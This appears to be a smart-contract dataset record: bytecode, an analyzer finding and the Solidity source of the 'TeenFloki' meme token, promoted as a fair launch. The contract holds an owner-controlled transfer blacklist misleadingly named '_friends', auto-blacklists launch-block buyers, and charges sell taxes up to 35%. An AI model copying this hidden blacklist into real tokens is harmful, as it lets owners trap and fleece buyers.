56104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa5565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c600480360381019080803590602001909291905050506112be565b005b34801561059a57600080fd5b506105a36114ec565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611553565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b50610604611565565b005b60008060008060008060008060003397506106258b600460ff166116d9565b96506106328760036116d9565b955061063e87876116f4565b945061064a8b886116f4565b93506106558461170d565b92506801000000000000000085029150600083118015610681575060065461067f8460065461179a565b115b151561068c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff16141580156106f557508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107425750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107d857610790600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761179a565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107f3565b6107e2858761179a565b945068010000000000000000850291505b6000600654111561085e5761080a6006548461179a565b60068190555060065468010000000000000000860281151561082857fe5b0460076000828254019250508190555060065468010000000000000000860281151561085057fe5b048302820382039150610866565b826006819055505b6108af600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461179a565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d58d86604051808381526020018281526020019250505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a6057fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afe5780601f10610ad357610100808354040283529160200191610afe565b820191906000526020600020905b815481529060010190602001808311610ae157829003601f168201915b505050505081565b600080600080610b1a85600460ff166116d9565b9250610b2685846116f4565b9150610b318261170d565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b5f57600080fd5b610b68856117b8565b9250610b7883600460ff166116d9565b9150610b8483836116f4565b9050809350505050919050565b601281565b6000806000610ba56001610dc0565b111515610bb157600080fd5b339150610bbe6000610dc0565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d09573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610d81576402540be40064174876e800039350610db4565b610d92670de0b6b3a76400006117b8565b9250610da283600460ff166116d9565b9150610dae83836116f4565b90508093505b50505090565b60025481565b60008033905082610dd957610dd4816109c6565b610e24565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e22826109c6565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610eb9576402540be40064174876e800019350610eec565b610eca670de0b6b3a76400006117b8565b9250610eda83600460ff166116d9565b9150610ee6838361179a565b90508093505b50505090565b600080339050610f0181610e4b565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f9d5780601f10610f7257610100808354040283529160200191610f9d565b820191906000526020600020905b815481529060010190602001808311610f8057829003601f168201915b505050505081565b600080600080600080610fb6610ef2565b111515610fc257600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561101357600080fd5b600061101f6001610dc0565b111561102e5761102d610b96565b5b61103c86600460ff166116d9565b925061104886846116f4565b9150611053836117b8565b9050611061600654846116f4565b6006819055506110b0600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054876116f4565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113c600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361179a565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061124560075460065468010000000000000000840281151561123f57fe5b0461179a565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b60008060008060008060006112d1610ef2565b1115156112dd57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561132e57600080fd5b86945061133a856117b8565b935061134a84600460ff166116d9565b925061135684846116f4565b9150611364600654866116f4565b6006819055506113b3600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054866116f4565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506000600654111561148d5761148660075460065468010000000000000000860281151561148057fe5b0461179a565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a311398684604051808381526020018281526020019250505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561154757611546816112be565b5b61154f610b96565b5050565b600061155f3483610606565b50919050565b6000806000806115756001610dc0565b11151561158157600080fd5b61158b6000610dc0565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061167c836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b60008082848115156116e757fe5b0490508091505092915050565b600082821115151561170257fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e8000291506006546402540be40061178361177d600654866402540be400600202020260026006540a60026402540be4000a02670de0b6b3a76400008a02670de0b6b3a76400006402540be40002600202026002890a010101611863565b856116f4565b81151561178c57fe5b040390508092505050919050565b60008082840190508381101515156117ae57fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a764000061184c670de0b6b3a764000085036402540be400670de0b6b3a76400008681151561180a57fe5b046402540be4000264174876e8000103026002670de0b6b3a7640000876002890a0381151561183557fe5b046402540be4000281151561184657fe5b046116f4565b81151561185557fe5b049050809350505050919050565b60008060026001840181151561187557fe5b0490508291505b818110156118a857809150600281828581151561189557fe5b04018115156118a057fe5b04905061187c565b509190505600a165627a7a72305820aba2b2ab1a93ba7100e17360b54619882b82fff0b24a3e81b50c7f6584ebd0f10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,001 |
0x73d504f91e8568bda76fb415d980bcb5557a509e
|
/**
*Submitted for verification at Etherscan.io on 2021-07-11
*/
/**
*
TeenFloki is going to launch in the Uniswap at July 11.
This is fair launch and going to launch without any presale.
tg: https://t.me/TeenFloki
All crypto babies will become a TeenFloki in here.
Let's enjoy our launch!
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool) ;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TeenFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _friends;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Teen Floki";
string private constant _symbol = unicode" TFLOKI ";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _feeRate = 5;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
struct User {
uint256 buyCD;
uint256 sellCD;
uint256 lastBuy;
uint256 buynumber;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_friends[from] && !_friends[to]);
if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
_friends[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
_friends[to] = true;
}
}
if(!trader[msg.sender].exists) {
trader[msg.sender] = User(0,0,0,0,true);
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > trader[to].lastBuy + (30 minutes)) {
trader[to].buynumber = 0;
}
if (trader[to].buynumber == 0) {
trader[to].buynumber++;
_taxFee = 5;
_teamFee = 5;
} else if (trader[to].buynumber == 1) {
trader[to].buynumber++;
_taxFee = 4;
_teamFee = 4;
} else if (trader[to].buynumber == 2) {
trader[to].buynumber++;
_taxFee = 3;
_teamFee = 3;
} else if (trader[to].buynumber == 3) {
trader[to].buynumber++;
_taxFee = 2;
_teamFee = 2;
} else {
//fallback
_taxFee = 5;
_teamFee = 5;
}
trader[to].lastBuy = block.timestamp;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired.");
trader[to].buyCD = block.timestamp + (45 seconds);
}
trader[to].sellCD = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired.");
}
uint256 total = 35;
if(block.timestamp > trader[from].lastBuy + (3 hours)) {
total = 10;
} else if (block.timestamp > trader[from].lastBuy + (1 hours)) {
total = 15;
} else if (block.timestamp > trader[from].lastBuy + (30 minutes)) {
total = 20;
} else if (block.timestamp > trader[from].lastBuy + (5 minutes)) {
total = 25;
} else {
//fallback
total = 35;
}
_taxFee = (total.mul(4)).div(10);
_teamFee = (total.mul(6)).div(10);
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(4));
_marketingFixedWalletAddress.transfer(amount.div(4));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613eae565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de919061396f565b610662565b6040516101f09190613e93565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614090565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061391c565b610691565b6040516102589190613e93565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614090565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae9190614105565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613a52565b610783565b005b3480156102ec57600080fd5b50610307600480360381019061030291906139f8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b9190613882565b61095f565b60405161033d9190614090565b60405180910390f35b34801561035257600080fd5b5061036d60048036038101906103689190613882565b610aeb565b60405161037a9190613e93565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613882565b610b41565b6040516103b79190614090565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190613882565b610c0a565b60405161040b9190614090565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613dc5565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613882565b610dd7565b60405161048a9190614090565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613eae565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e0919061396f565b610e7f565b6040516104f29190613e93565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613e93565b60405180910390f35b34801561053257600080fd5b5061054d600480360381019061054891906139af565b610eb2565b005b34801561055b57600080fd5b506105646110c2565b005b34801561057257600080fd5b5061057b61113c565b005b34801561058957600080fd5b50610592611208565b60405161059f9190614090565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca9190613882565b61123a565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906138dc565b61132a565b6040516106059190614090565b60405180910390f35b34801561061a57600080fd5b506106236113b1565b005b60606040518060400160405280600a81526020017f5465656e20466c6f6b6900000000000000000000000000000000000000000000815250905090565b600061067661066f6118c3565b84846118cb565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611a96565b61075f846106aa6118c3565b61075a856040518060600160405280602881526020016148aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107106118c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b6b9092919063ffffffff16565b6118cb565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c46118c3565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90613f70565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614090565b60405180910390a150565b6108726118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690613fd0565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613e93565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b191906141c6565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a1191906141c6565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a7191906141c6565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad191906141c6565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b9191906142a7565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd96118c3565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612bcf565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a000000000000000000000000000000000000000